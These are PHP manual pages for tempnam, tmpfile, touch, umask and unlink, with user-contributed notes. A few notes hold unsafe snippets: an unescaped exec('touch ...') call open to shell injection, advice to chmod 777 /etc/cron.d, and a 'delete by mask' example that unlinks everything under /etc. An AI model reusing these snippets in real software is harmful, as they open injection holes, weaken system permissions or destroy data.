$file_location=stream_get_meta_data(tmpfile())['uri'];
file will be created automatically, and deleted automatically on script close (thanks to tmpfile()) i found this useful for CURLOPT_COOKIEFILE (which wants a file location, not a handle)
Steve Clay 24-Sep-2013 11:59
You don't need tempdir(). Just use tempnam() and replace it with a directory of the same name:
<?php
$temp_dir = tempnam('/tmp', 'prefix');
unlink($temp_dir);
mkdir($temp_dir);
Anonymous 14-Feb-2012 04:44
tempnam will not create file in unauthorized area.
Meaning you need access permissions to the temp dir ($dir) in order to create a file there.
tomas at slax dot org 03-Jun-2010 11:31
Beware: functions are not atomic.  If many processes call the same function at the same time, you may end up with unwanted behavior.

If you need your own variant of tempnam, use something like this:

<?php
   function tempnam_sfx($path, $suffix)
   {
      do
      {
         $file = $path."/".mt_rand().$suffix;
         $fp = @fopen($file, 'x');
      }
      while(!$fp);

      fclose($fp);
      return $file;
   }

   // call it like this:
   $file = tempnam_sfx("/tmp", ".jpg");
?>

You may replace mt_rand() by some other random name generator, if needed.
anthon at piwik dot org 07-Apr-2010 01:20
The file created by tempnam() will have file permissions that reflect the current umask applied to the default (e.g., 0600 or -rw-------).  This is the case whether the umask is set before starting the web server process, or set by an earlier call to PHP's umask() function.

For example, if the current umask is 0022, the temporary file is created with permissions 0600 (read/write by owner).

Also, if the current umask is 0222, the temporary file is created with permissions 0400 (read-only by owner).  (This is problematic if your code then tries to open the temporary file for writing.)

It's important to remember that the umask revokes permissions.  In neither of the above examples are the group, other, or execute permissions set.

See:  umask(), chmod().
Artur Graniszewski 31-Mar-2010 07:57
tempnam() function does not support custom stream wrappers registered by stream_register_wrapper().

For example if you'll try to use tempnam() on Windows platform, PHP will try to generate unique filename in %TMP% folder (usually: C:\WINDOWS\Temp) without any warning or notice.

<?php

// << ...custom stream wrapper goes somewhere here...>>

echo '<pre>';
error_reporting(E_ALL);
ini_set('display_errors', true);
clearstatcache();
stream_register_wrapper('test', 'MemoryStream');

mkdir('test://aaa');
mkdir('test://aaa/cc');
mkdir('test://aaa/dd');
echo 'PHP '.PHP_VERSION;
echo '<br />node exists: '.file_exists('test://aaa/cc');
echo '<br />node is writable: '.is_writable('test://aaa/cc');
echo '<br />node is dir: '.is_dir('test://aaa/cc');
echo '<br />tempnam in dir: '.tempnam('test://aaa/cc', 'tmp');
echo "<br /></pre>";

?>

ouputs:
--------------------
PHP 5.2.13
node exists: 1
node is writable: 1
node is dir: 1
tempnam in dir: C:\Windows\Temp\tmp1D03.tmp

If you want to create temporary file, you have to create your own function (which will probably use opendir() and fopen($filename, "x") functions)
koyama 31-Aug-2009 02:39
Watch out using a blank $dir as a "trick" to create temporary files in the system temporary directory.

<?php
$tmpfname = tempnam('', 'FOO'); // not good
?>

If an open_basedir restriction is in effect, the trick will not work. You will get a warning message like

Warning: tempnam() [function.tempnam]: open_basedir restriction in effect.
File() is not within the allowed path(s): (/var/www/vhosts/example.com/httpdocs:/tmp)

What works is this:

<?php
$tmpfname = tempnam(sys_get_temp_dir(), 'FOO'); // good
?>
hm2k at php dot net 28-Jan-2009 06:15
<?php

function tempdir($dir=false,$prefix='php') {
    $tempfile=tempnam('','');
    if (file_exists($tempfile)) { unlink($tempfile); }
    mkdir($tempfile);
    if (is_dir($tempfile)) { return $tempfile; }
}

/*example*/

echo tempdir();
// returns: /tmp/8e9MLi

?>
dmhouse at gmail dot com 03-Sep-2007 12:51
Guillaume Paramelle's comments below are worth underlining: tempnam() will not accept a relative path for its first directory. If you pass it one, it will (on Windows XP at least) create the temporary file in the system temp directory.

The easiest way to convert a relative path to an absolute path is to prepend getcwd():

<?php
$file = tempnam('files/temp', 'tmp'); // Wrong!
$file = tempnam(getcwd() . 'files/tmp', 'tmp') // Right.
?>
Jason Pell 12-Jan-2007 01:47
I want to guarantee that the file will be created in the specified directory or else the function should return FALSE, I have a simple function that works, but I am unsure if its a potential security issue.

function dir_tempnam($dir, $prefix)
{
    $real_dir_path = realpath($dir);
    if (substr($real_dir_path, -1) != '/')
        $real_dir_path .= '/';

    $tempfile = tempnam($real_dir_path, $prefix);
    $name = basename($tempfile);

    if(is_file($real_dir_path.$name))
        return $name;
    else
    {
        @unlink($name);
        return FALSE;
    }
}

This function returns just the name of the temporary file in the specified directory, or FALSE.

Obviously it could return the entire $tempfile, but in my case, I actually want the basename value seperate.
tux ARROBA cenobioracing PUNTO com 28-Aug-2006 02:19
Beware that on Windows NT and other windows, if you have, for example, a variable $work_dir with a path to some dir on your document root(or any other dir). Note the following:
<?php
$work_dir = 'C:/some/path/to/document_root/dir';
file_exists($working_dir); // Returns true
is_writable($working_dir); // Returns true
$tempfile = tempnam($working_dir,'img');
//$temfile now contains a system wide temp directory file, like 'C:/WINNT.SBS/img444.tmp' instead of the directory we pass it
//Thats because we need to give I_USR (IIS user) user write permission to $working_dir  although according to the aforementioned functions seemed it already had it...
//If you want to use just the system wide temp directory return by default by tempnam you will also need to give it write permission to I_USR user to be able to write to that file...
?>
Ron Korving 03-Feb-2006 09:32
This function creates a temporary directory. The previous example given could bug if between the unlink() and mkdir() some process creates the same directory or file. This implementation is faster too.

<?php
  function tempdir($dir, $prefix='', $mode=0700)
  {
    if (substr($dir, -1) != '/') $dir .= '/';

    do
    {
      $path = $dir.$prefix.mt_rand(0, 9999999);
    } while (!mkdir($path, $mode));

    return $path;
  }
?>
KOmaSHOOTER at gmx dot de 18-Sep-2005 10:51
This Example makes a File called "user.txt"
in the dir www.XXXXX.XX/restricted/
<?php
$tmpfname = tempnam($_ENV["DOCUMENT_ROOT"]."/restricted", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, "writing to tempfile");
fclose($handle);

// do here something
//echo($_ENV["DOCUMENT_ROOT"]);
copy($tmpfname,'user.txt');
 ?>
php at REMOVEMEkennel17 dot co dot uk 06-Mar-2005 07:10
Note that tempnam returns the full path to the temporary file, not just the filename.
17-Feb-2005 03:13
Regarding Typo3 and Safe mode "Generally, everything in TYPO3 can work under safe_mode and open_basedir as long as the script permissions are correct. Notice, this is not something TYPO3 can do better or worse; for a working TYPO3 system there must be access to writing files and directories in the filesystem and this is done by plain PHP functions."
Sebastian Kun 21-Jan-2005 10:03
If you go to the linux man page for the C function tempnam(3), you will see at the end "Never use this function. Use mkstemp(3) instead." But php's tempnam() function doesn't actually use tmpnam(3), so there's no problem (under Linux, it will use mkstemp(3) if it's available).
Nick Smith 20-Jan-2005 08:35
It is worth noting that if the 'dir' that you supply doesn't exist, then it is silently ignored and the system /tmp directory used. At least under Linux, PHP v4.1.2.

I had a script that appeared to work fine with safe mode switched off, but I didn't realise that my 'dir' parameter had a typo (so the files were going in /tmp), and once safe mode was switched on I started getting errors because the rest of the script couldn't read files from the system /tmp folder.
anakin dot skyw at gmx dot de 04-Jul-2004 05:20
>Under UNIX (where you can rename onto an extant file and so I used link), you will have to remove both the link and the link's target.

Couldn't you do
<?php
       if ($newFileCreated) {
           unlink ($sysFileName);
           return $newFileName;
       }
?>
and get the same semantics as the windows version?
bishop 01-May-2004 05:03
Creating a temporary file with a specific extension is a common requirement on dynamic websites. Largely this need arises from Microsoft browsers that identify a downloaded file's mimetype based on the file's extension.

No single PHP function creates a temporary filename with a specific extension, and, as has been shown, there are race conditions involved unless you use the PHP atomic primitives.

I use only primitives below and exploit OS dependent behaviour to securely create a file with a specific postfix, prefix, and directory.  Enjoy.

<?php
function secure_tmpname($postfix = '.tmp', $prefix = 'tmp', $dir = null) {
    // validate arguments
    if (! (isset($postfix) && is_string($postfix))) {
        return false;
    }
    if (! (isset($prefix) && is_string($prefix))) {
        return false;
    }
    if (! isset($dir)) {
        $dir = getcwd();
    }

    // find a temporary name
    $tries = 1;
    do {
        // get a known, unique temporary file name
        $sysFileName = tempnam($dir, $prefix);
        if ($sysFileName === false) {
            return false;
        }

        // tack on the extension
        $newFileName = $sysFileName . $postfix;
        if ($sysFileName == $newFileName) {
            return $sysFileName;
        }

        // move or point the created temporary file to the new filename
        // NOTE: these fail if the new file name exist
        $newFileCreated = (isWindows() ? @rename($sysFileName, $newFileName) : @link($sysFileName, $newFileName));
        if ($newFileCreated) {
            return $newFileName;
        }

        unlink ($sysFileName);
        $tries++;
    } while ($tries <= 5);

    return false;
}
?>

The isWindows function is mostly left as an exercise for the reader. A starting point is below:

<?php
function isWindows() {
    return (DIRECTORY_SEPARATOR == '\\' ? true : false);
}
?>

Like tempnam(), this function requires you to cleanup your own files later. Under UNIX (where you can rename onto an extant file and so I used link), you will have to remove both the link and the link's target. Cleanup is left entirely to the reader.
phpdoc at rickbradley dot com 26-Nov-2003 12:54
The "newtempnam" recipe provided below (posted by "tempnam" on " 23-Jul-2003 08:56") has at least one race condition.  The while loop checks to make sure that the file in question doesn't exist, and then goes and creates the file.  In between the existence test and the fopen() call there is an opportunity for an attacker to create the file in question.

This is a classic race-condition, and while it seems difficult to exploit there are a number of well-known attacks against this kind of sloppy file creation.

The atomic primitives necessary to implement secure file creation are not available at the language level in PHP.  This further underscores the need for PHP-language developers to rely on the language's security primitives (including tempnam() and tempfile()) instead of rolling their own.
lreilly at lanl dot gov 29-Aug-2002 02:54
Be careful with you forward and back slashes. Innocent looking code like this...

$uploaddir = "C:/Program Files/Apache Group/Apache2/htdocs/sasdap/uploads/";
$tempFile = tempnam ($uploaddir, "TMPANAL");
$fp = fopen($tmpfname, "w");
fwrite($fp, $iqdata);
//fclose($fp);

... may show something odd when echoing $tempFile";

i.e. /Program Files/Apache Group/Apache2/htdocs/sasdap/uploads/\TMP3D.tmp

Must... remember... to... use... backslashes...

 - Lee P. Reilly


Creates a temporary file

  • « tempnam
  • touch »
  • PHP Manual
  • Filesystem Functions
  • Creates a temporary file

tmpfile

(PHP 4, PHP 5)

tmpfile — Creates a temporary file

Description

resource tmpfile ( void )

Creates a temporary file with a unique name in read-write (w+) mode and returns a file handle .

The file is automatically removed when closed (for example, by calling fclose(), or when there are no remaining references to the file handle returned by tmpfile()), or when the script ends.

For details, consult your system documentation on the tmpfile(3) function, as well as the stdio.h header file.

Return Values

Returns a file handle, similar to the one returned by fopen(), for the new file or FALSE on failure.

Examples

Example #1 tmpfile() example

<?php
$temp = tmpfile();
fwrite($temp, "writing to tempfile");
fseek($temp, 0);
echo fread($temp, 1024);
fclose($temp); // this removes the file
?>

The above example will output:

writing to tempfile

See Also

  • tempnam() - Create file with unique file name
  • sys_get_temp_dir() - Returns directory path used for temporary files

User Contributed Notes

ssandor 22-Nov-2012 05:32
Beware that PHP's tmpfile is not an equivalent of unix' tmpfile.
PHP (at least v. 5.3.17/linux I'm using now) creates a file in /tmp with prefix "php", and deletes that file on fclose or script termination.
So, if you want to be sure that you don't leave garbage even in case of a fatal error, or killed process, you shouldn't rely on this function.
Use the classical method of deleting the file after creation:
<?php
$fn = tempnam ('/tmp', 'some-prefix-');
if ($fn)
  {
    $f = fopen ($fn, 'w+');
    unlink ($fn);  // even if fopen failed, because tempnam created the file
    if ($f)
      {
        do_something_with_file_handle ($f);
      }
  }
?>
kexianbin at diyism dot com 13-Jul-2012 02:40
If you want to specify the extension name of tmp file:

<?php
$tmp=array_search('uri', @array_flip(stream_get_meta_data($GLOBALS[mt_rand()]=tmpfile())));
rename($tmp, $tmp.='.png');
register_shutdown_function(create_function('', "unlink('{$tmp}');"));
?>
oremanj at gmail dot com 09-Apr-2007 08:46
No, the fseek() is necessary - after writing to the file, the file pointer (I'll use "file pointer" to refer to the current position in the file, the thing you change with fseek()) is at the end of the file, and reading at the end of the file gives you EOF right away, which manifests itself as an empty upload.

Where you might be getting confused is in some systems' requirement that one seek or flush between reading and writing the same file.  fflush() satisfies that prerequisite, but it doesn't do anything about the file pointer, and in this case the file pointer needs moving.

-- Josh
03-Aug-2006 03:05
fseek() is important because if you forget about it you will upload empty file...

i had sth like that ^_^
chris [at] pureformsolutions [dot] com 04-Oct-2005 09:14
I found this function useful when uploading a file through FTP. One of the files I was uploading was input from a textarea on the previous page, so really there was no "file" to upload, this solved the problem nicely:

<?php
    # Upload setup.inc
    $fSetup = tmpfile();
    fwrite($fSetup,$setup);
    fseek($fSetup,0);
    if (!ftp_fput($ftp,"inc/setup.inc",$fSetup,FTP_ASCII)) {
        echo "<br /><i>Setup file NOT inserted</i><br /><br />";
    }
    fclose($fSetup);
?>

The $setup variable is the contents of the textarea.

And I'm not sure if you need the fseek($temp,0); in there either, just leave it unless you know it doesn't effect it.


Sets access and modification time of file

  • « tmpfile
  • umask »
  • PHP Manual
  • Filesystem Functions
  • Sets access and modification time of file

touch

(PHP 4, PHP 5)

touch — Sets access and modification time of file

Description

bool touch ( string $filename [, int $time = time() [, int $atime ]] )

Attempts to set the access and modification times of the file named in the filename parameter to the value given in time. Note that the access time is always modified, regardless of the number of parameters.

If the file does not exist, it will be created.

Parameters

filename

The name of the file being touched.

time

The touch time. If time is not supplied, the current system time is used.

atime

If present, the access time of the given filename is set to the value of atime. Otherwise, it is set to the value passed to the time parameter. If neither are present, the current system time is used.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | It became possible to change the modification time of a directory under Windows.

Examples

Example #1 touch() example

<?php
if (touch($filename)) {
    echo $filename . ' modification time has been changed to present time';
} else {
    echo 'Sorry, could not change modification time of ' . $filename;
}
?>

Example #2 touch() using the time parameter

<?php
// This is the touch time, we'll set it to one hour in the past.
$time = time() - 3600;

// Touch the file
if (!touch('some_file.txt', $time)) {
    echo 'Whoops, something went wrong...';
} else {
    echo 'Touched file with success';
}
?>

Notes

Note:

Note that time resolution may differ from one file system to another.

Warning

Prior to PHP 5.3.0 it was not possible to change the modification time of a directory with this function under Windows.

User Contributed Notes

anon 11-Nov-2013 01:38
Note that when PHP is called by f.e. apache or nginx instead of directly from the command line, touch() will not prefix the location of the invoking script, so the supplied filename must contain an absolute path.

With script started from /home/user/www, this will not touch "/home/user/www/somefile":

<?php
    touch( 'somefile' );
?>

But this will:

<?php
    touch( __DIR__ . '/somefile' );
?>
bosslog at gmail dot com 08-Oct-2010 11:11
I has passed a small test to check which function is faster to create a new file.

file_put_contents vs touch

<?php
for($i = 0; $i < 100; $i++)
{
     file_put_contents('dir/file'.$i, '');
}
?>
Average time: 0,1145s

<?php
for($i = 0; $i < 100; $i++)
{
     touch('dir/file'.$i);
}
?>
Average time: 0,2322s

So, file_put_contents is faster than touch, about two times.
chris dot dallaire at csquaredsystems dot com 09-Apr-2010 04:41
I needed to use this to touch the /etc/cron.d directory when I updated some files in there. I know the docs say this isn't necessary, but I'm finding that i need to do it in order form my changes to be picked up quickly.

I ran into the permissions error as well and I found that using chmod 777 /etc/cron.d does the trick.

So, you should be able to use the PHP touch function on a directory that has open write access.

Of course, this isn't the most secure approach, but in our application it's not a big deal for that folder to not be super secure.
ernst at cron-it dot de 29-Sep-2009 03:38
To touch a file without being owner, it is much easier:

<?php
function touchFile($file) {
  fclose(fopen($file, 'a'));
}
?>
info at archiwumrocka dot art dot pl 01-Dec-2008 10:59
Only way to change modification date in catalogue is to create file in via touch() and dalete it with unlink():

<?php
$dir    = 'temp';
$files1 = scandir($dir);

$files1 = array_slice($files1, 2);

foreach ($files1 as $key => $val)
{
    if (!is_dir($val)) continue;
    if (!touch($val))
    {
        touch($val . "/plik.txt");
        unlink($val . "/plik.txt");
    }
}
?>
mrgrier at yahoo dot com 29-Nov-2008 07:29
At least on Linux, touch will not change the time on a symlink itself, but on the file/directory it points to. The only way to work around this is to unlink the symlink, then recreate it.

It took a bit of searching to discover this. The OS itself provides no way to do it. Many people wondered why anyone would want to do this. I use symlinks inside a web tree to point to files outside the web tree. After a certain length of time has passed, I want the symlinks to die, so the files cannot be successfully hotlinked.
ddalex at gmail dot com 03-Nov-2008 06:25
Actually, Glen is right, PHP won't touch if it is not the current owner of the file, even if the directory and files are writeable by the PHP user.
Radon8472 08-Aug-2008 02:07
Important info:

touch() used on a directory always returns FALSE and prints "Permission denied" on NTFS and FAT Filesystem (tested on winXP).
Jeff 26-Jun-2008 09:29
I've been trying to set a filemtime into the future with touch() on PHP5.

It seems touch $time has a future limit around 1000000 seconds (11 days or so). Beyond this point it reverts to a previous $time.

It doesn't make much sense but I could save you hours of time.

$time = time()+1500000;
touch($cachedfile,$time);
Glen 18-Oct-2007 10:01
In unix on the command-line, you can touch files you don't own - but like other comments on this page state - PHP's built in touch won't work.

I simple alternative (on unix):

<?php

    function touch_it_good($filename)
    {
        exec("touch {$filename}");
    }
?>
Charles Belov 19-Jul-2006 03:10
Update the access time without updating the modified time:

Unix command: touch -a filename

PHP: touch(filename, date('U', filemtime(filename)), time())
spam at webmastersguide dot com 01-Sep-2005 02:09
If you're going to go around deleting (unlinking) files
that you don't own just in order to change the modification
time on the file, you darn well better chown() the file
back to it's original ownership after you are done and
chmod() it back to it's correct permissions.  Otherwise
you will almost certainly break things.  Additionally the
code listed for touch()ing a file you don't own should
set the file creation time back to it's original time if
what is wanted is to just change the modification time.
Also, the code listed will break things if there is an i/o
error such as disk full or too many files in the directory.
Here's how the code SHOULD be written:

Create the new file FIRST, rather than last, with a different
name such as $file.tmp.
Read the ownership, permissions, and creation time of the old file.
Set permissions and creation time of the new file the same as the old.
Rename the new file to the name of the old.
chown() the new file to the user that owned the file it's replacing.

Please be careful adding to the documentation if you've
never taken programming 101.
rf_public at yahoo dot co dot uk 25-Jul-2005 09:19
Note: the script to touch a file you don't own will change it's owner so ensure permissions are correct or you could lose access to it
guy at forster design dot com 12-May-2005 12:42
Here's a little workaround that allows the PHP user to touch a file it doesn't own:

<?php

    $target_file = "/path/to/file/filename.txt"; //system filepath to your file
    $file_content = implode("",file($target_file));
    @unlink($target_file);
    if($savetofile = fopen($target_file, "w")) {
        fputs($savetofile, $file_content);
        fclose($savetofile);
    }
    $new_date = strtotime("23 April 2005"); // set the required date timestamp here
    touch($target_file,$new_date);

?>

Of course, PHP needs to have write access to the folder containing the file you want to touch, but that should be easy to arrange.
feathern at yahoo dot com 14-Aug-2002 12:31
Neat little script that will give you a list of all modified files in a certain folder after a certain date:

$filelist = Array();
$filelist = list_dir("d:\\my_folder");
for($i=0;$i<count($filelist);$i++){
    $test = Array();
    $test = explode("/",date("m/d/Y",filemtime($filelist[$i])));
//example of files that are later then
//06/17/2002
    if(($test[2] > 2001) && ($test[1] > 16) && ($test[0] > 5)){
        echo $filelist[$i]."\r\n";
    }
    clearstatcache();
}
function list_dir($dn){
    if($dn[strlen($dn)-1] != '\\') $dn.='\\';
    static $ra = array();
    $handle = opendir($dn);
    while($fn = readdir($handle)){
        if($fn == '.' || $fn == '..') continue;
        if(is_dir($dn.$fn)) list_dir($dn.$fn.'\\');
        else $ra[] = $dn.$fn;
    }
    closedir($handle);
    return $ra;
}
emilebosch at hotmail dot com 07-Oct-2001 12:41
To spare you ppl couple of hours of valuable time, you can only TOUCH a file that you own! Usually PHP is *nobody*
Warm regards,
Emile Bosch
master at dreamphp dot com 15-May-2001 08:23
$filename = "test.dat";
if (!file_exists($filename)) {
  touch($filename); // Create blank file
  chmod($filename,0666);
}


Changes the current umask

  • « touch
  • unlink »
  • PHP Manual
  • Filesystem Functions
  • Changes the current umask

umask

(PHP 4, PHP 5)

umask — Changes the current umask

Description

int umask ([ int $mask ] )

umask() sets PHP's umask to mask & 0777 and returns the old umask. When PHP is being used as a server module, the umask is restored when each request is finished.

Parameters

mask

The new umask.

Return Values

umask() without arguments simply returns the current umask otherwise the old umask is returned.

Examples

Example #1 umask() example

<?php
$old = umask(0);
chmod("/path/some_dir/some_file.txt", 0755);
umask($old);

// Checking
if ($old != umask()) {
    die('An error occurred while changing back the umask');
}
?>

Notes

Note:

Avoid using this function in multithreaded webservers. It is better to change the file permissions with chmod() after creating the file. Using umask() can lead to unexpected behavior of concurrently running scripts and the webserver itself because they all use the same umask.

User Contributed Notes

neon at neonjs dot com 30-Jul-2011 04:19
In case you don't understand why you need to "Avoid using this function in multithreaded webservers":

It's because this function changes the umask at the process level, rather than only for PHP or for the current script.  If there are multiple simultaneous threads running in the process in which your PHP script is running, the change will apply to all of those threads at the same time hence why this is not safe for multithreaded use.

I understand that if you are using the PHP module and Apache's prefork MPM, which is not multi-threaded, then you at least won't get race-condition problems such as this.  However, it is still worth noting that the umask setting, if not re-set, will persist for the life of that process even if the process is re-used to serve future PHP or non-PHP requests.
bishop 30-Sep-2010 03:01
"It is better to change the file permissions with chmod() after creating the file."

If you take that advice seriously, consider setting your umask so that files are created private to your user, then use chmod to open them up.

<?php
// files will create as -rw-------
umask(0077);

// create a file, eg fopen()

// give access: -rw-r--r--
chmod('/path/to/file', 0644);
?>

Whenever reasonable, default to shut and open as needed (like above) instead of default to open and shut as needed.  The above still has a race condition, but the race condition will deny appropriate access instead of granting inappropriate access.
webmaster at iacomputing dot co dot uk 28-Sep-2010 01:24
You can use umask to solve the PHP session bug that appears in several PHP versions.

<?php
umask(0022);
session_start();
?>

This will prevent sessions being created with inadequate permissions.
librodot at ciberpiula dot net 17-Jun-2009 01:54
I think that the best way to understand umask is to say that umask is used to revoke permissions, not to set permissions.

umask sets which permissions must be removed from the system default when you create a file or a directory.

For example, a mask 0022 means that you don't want group and others modify the file.

default 0666 rw-.rw-.rw-
umask   0022 ---.-w-.-w-
Final   0644 rw-.r--.r--

That means that any file from now on will have 0644 permissions.

It is important to understand that umask revokes, deletes permissions from system default, so it can´t grant permissions the system default hasn't. In the example above, with the 666 system default, there is no way you can use umask to create a file with execute permission. If you want to grant more permissions, use chmod.

Be aware that system default permissions are not related to PHP (they depends upon server configuration). PHP has a default umask that is applied after system default base permissions. And there are different system default base permissions for files and directories.

Usually, system default permissions for files are 666 and for directories 0777. And usually, default PHP umask is 0022
jphansen at uga dot edu 04-Mar-2008 03:45
On most UNIX environments the recommended default umask for files, defined in /home/user/.profile or /etc/profile, is 022 (chmod: 644). On trusted systems it is 002. Exercise caution when applying more liberal settings.
maulwuff at gmx dot de 18-Sep-2007 12:44
umask takes away the given values from the standard mask 777.
A graphical view shows this better:

standard:
rwxrwxrwx = 777
will get with umask 002:
rwxrwxr-x  = 775
or will get with umask 077:
rwx------ = 700

and so on.
sean at awesomeplay dot com 31-May-2007 06:48
"It is better to change the file permissions with chmod() after creating the file."

The usual lacking of security knowledge within the PHP team rears its head once again.  You *always* want to have the file created with the proper permission.  Let me illustrate why:

(a) you create new file with read permissions
(b) an attacking script opens the file
(c) you chmod the file to remove read permissions
(d) you write sensitive data to the file

Now, you might think that the changes of an attacking script getting to open the file before you chmod them are low.  And you're right.  But low changes are never low enough - you want zero chance.

When creating a file that needs increased permissions, you always need to create the file with the proper permissions, and also create it with O_EXCL set.  If you don't do an exclusive create, you end up with this scenario:

(a) attacker creates the file, makes it writable to everyone
(b) you open the file with restricted permissions, but since it already exists, the file is merely opened and the permissions left alone
(c) you write sensitive data into the insecure file

Detecting the latter scenario is possible, but it requires a bit of work.  You have to check that the file's owner and group match the script's (that is, posix_geteuid(), not myuid()) and check the permissions - if any of those are incorrect, then the file is insecure - you can attempt to unlink() it and try again while logging a warning, of course.

The only time when it is reasonable or safe to chmod() a file after creating it is when you want to grant extra permissions instead of removing them.  For example, it is completely safe to set the umask to 0077 and then chmoding the files you create afterward.

Doing truly secure programming in PHP is difficult as is, and advice like this in the documentation just makes things worse.  Remember, kids, anything that applies to security in the C or UNIX worlds is 100% applicable to PHP.  The best thing you can possibly do for yourself as a PHP programmer is to learn and understand secure C and UNIX programming techniques.
ShaD@TW 16-May-2006 06:32
Notice that directory(s) and file(s) sometimes have different results.

<?php
umask(0670);                    //- set umask
$handle = fopen('file', 'w');   //- 0006
mkdir("/path/dir");             //- 0107
?>

calculate the result:
<?php
$umask = 0670;
umask($umask);
//- if you are creating a new directory, $permission = 0777;
//- if you are creating a new file, $permission = 0666.
printf( "result: %04o", $permission & ( 0777 - $umask) );
?>

BTW, as the manual said, the form of umask() is "int umask ( [int mask] )", so if you want to print/echo any umask, don't forget to convert it from DEC (because it returns a "int") to OCT.

<?php
$umask = umask();          //- returns the current umask, which is a "int"
$umask = decoct($umask);   //- Now, $umask is a "string"
echo $umask;
?>

Don't forget that the argument(parameter) is a "int", too.

<?php
umask(777);    //- WRONG! Even though you maybe use "umask 777" in some OS.
umask(0777);   //- OK
?>

If there was any mistake, please correct my statement.
18-Feb-2006 05:31
Using (cmask - umask) is a wrong way to calculate the new mask:

0022 - 0700 = 0656 WRONG
0700 & ~0022 = 0700 CORRECT

Correct php code:
<?php
$rmask = ($cmask & ~$umask);
?>
andi<at>splitbrain.org 03-Mar-2005 11:03
To play around with umasks and permissions use this little fragment:

<?
$umask = 0012;
$perm  = 0777;
printf("umask: %04o perm: %04o result: %04o\n",
       $umask,$perm,$perm & (0777 - $umask));
?>
sam at totallydigital dot co dot nz 20-Sep-2002 06:04
The first comment perhaps didn't quite make clear what's on with your umask and the permissions.

The permission passed to a command is first bitwise ANDed with the _INVERSE_ of the current umask, then applied to the file.

For example, umask = 0011 and permission = 0775
The inverse of 0011 = 0766

0775 AND 0766
= 111.111.101 AND 111.110.110
= 111.110.100
= 0764


Deletes a file

  • « umask
  • Inotify »
  • PHP Manual
  • Filesystem Functions
  • Deletes a file

unlink

(PHP 4, PHP 5)

unlink — Deletes a file

Description

bool unlink ( string $filename [, resource $context ] )

Deletes filename. Similar to the Unix C unlink() function. A E_WARNING level error will be generated on failure.

Parameters

filename

Path to the file.

context

Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.0.0 | As of PHP 5.0.0 unlink() can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers for a listing of which wrappers support unlink().

Examples

Example #1 Basic unlink() usage

<?php
$fh = fopen('test.html', 'a');
fwrite($fh, '<h1>Hello world!</h1>');
fclose($fh);

unlink('test.html');
?>

See Also

  • rmdir() - Removes directory

User Contributed Notes

Eric 11-Aug-2014 11:17
This might seem obvious, but I was tearing my hair out with this problem - make sure the file you're trying to delete isn't currently being used. I had a script that was parsing a text file and was supposed to delete it after completing, but kept getting a permission denied error because I hadn't explicitly closed the file, hence it was technically still being "used" even though the parsing was complete.
Set 05-Apr-2014 12:57
<?php
// for deleting in other directory

unlink("dir/" .$file ); //or
unlink("http://www.localhost/dir/" . $file );
?>
deen804 at gmail dot com 10-Dec-2013 03:14
unlink($fileName); failed for me .
Then i tried using the realpath($fileName)  function as
unlink(realpath($fileName)); it worked

just posting it , in case if any one finds it useful .
james at dunmore dot me dot uk 24-Oct-2013 11:52
I know it is obvious, but.... if you have nested symlinks (for example, we archive into yyyy-mm for backups, and symbolic link to make our directory structure look flat - don't ask), unlink will only delete the top level symlink (as expected).

If you want to delete the actual file, you'll need to use readlink. If you want to delete all of the files and the symlinks, you'll need to recurse up and down to achieve that.
Alex, the Marrch Ca&#39;at 27-Jun-2013 01:22
The best way to delete files by mask is as follows:
<?php
array_walk(glob('/etc/*'), 'unlink');
?>
Do not use array_map mentioned below - it's purpose is to process values in a given array AND COLLECT data returned by the callback function. So, array_map is slower and uses additional memory compared to array_walk.
anagai at yahoo dot com 07-Sep-2012 04:47
This will delete all files in a directory matching a pattern in one line of code.

<?php array_map('unlink', glob("some/dir/*.txt")); ?>
to dot want at in dot com 07-Jun-2012 03:32
remove directory with all content

<?php
$dir = "boss"; // directory name
?>

<?php
foreach (scandir($dir) as $item) {
    if ($item == '.' || $item == '..') continue;
    unlink($dir.DIRECTORY_SEPARATOR.$item);
}
rmdir($dir);
?>
bitman3 at rambler dot ru 02-May-2012 06:23
This code deletes all files from directory, but there's a secret :)
I killed a lot of time before I realized my mistake.
I used jquery to create event in frame.
@ - it`s a secret :)

$dir = '../upload_tmp/';
if($dh = opendir($dir)){
    while(($file = readdir($dh))!== false){
        if(file_exists($dir.$file)) @unlink($dir.$file);
    }
        closedir($dh);
}
dexen dot devries at gmail dot com 31-Dec-2010 10:28
Deleted a large file but seeing no increase in free space or decrease of disk usage? Using UNIX or other POSIX OS?

The unlink() is not about removing file, it's about removing a file name. The manpage says: ``unlink - delete a name and possibly the file it refers to''.

Most of the time a file has just one name -- removing it will also remove (free, deallocate) the `body' of file (with one caveat, see below). That's the simple, usual case.

However, it's perfectly fine for a file to have several names (see the link() function), in the same or different directories. All the names will refer to the file body and `keep it alive', so to say. Only when all the names are removed, the body of file actually is freed.

The caveat:
A file's body may *also* be `kept alive' (still using diskspace) by a process holding the file open. The body will not be deallocated (will not free disk space) as long as the process holds it open. In fact, there's a fancy way of resurrecting a file removed by a mistake but still held open by a process...
federico at poisonfx dot com 06-Dec-2010 11:55
Here the simplest way to delete files with mask

<?php
   $mask = "*.jpg"
   array_map( "unlink", glob( $mask ) );
?>
lpatrick 25-Oct-2010 11:08
unlink can fail after using ODBC commands on the file (on Windows).

Neither <?php odbc_free_result($result); ?> nor <?php odbc_close($conn); unset($conn); ?> did the trick.

Only <?php odbc_close_all(); ?> released the file such that it could be deleted afterwards ...
zibi at nora dot pl 24-Sep-2010 04:01
Shorter'n'faster version of Eddys "The shortest recursive delete possible"

function rrmdir($path)
{
  return is_file($path)?
    @unlink($path):
    array_map('rrmdir',glob($path.'/*'))==@rmdir($path)
  ;
}
Eddy Vlad 24-Nov-2009 05:59
The shortest recursive delete possible.

<?php
    /**
     * Delete a file or recursively delete a directory
     *
     * @param string $str Path to file or directory
     */
    function recursiveDelete($str){
        if(is_file($str)){
            return @unlink($str);
        }
        elseif(is_dir($str)){
            $scan = glob(rtrim($str,'/').'/*');
            foreach($scan as $index=>$path){
                recursiveDelete($path);
            }
            return @rmdir($str);
        }
    }
?>
Jon Hassall 16-Nov-2008 07:36
Here is the recursive delete method made a little more readable:

<?php
/**
 * Recursively delete a directory
 *
 * @param string $dir Directory name
 * @param boolean $deleteRootToo Delete specified top-level directory as well
 */
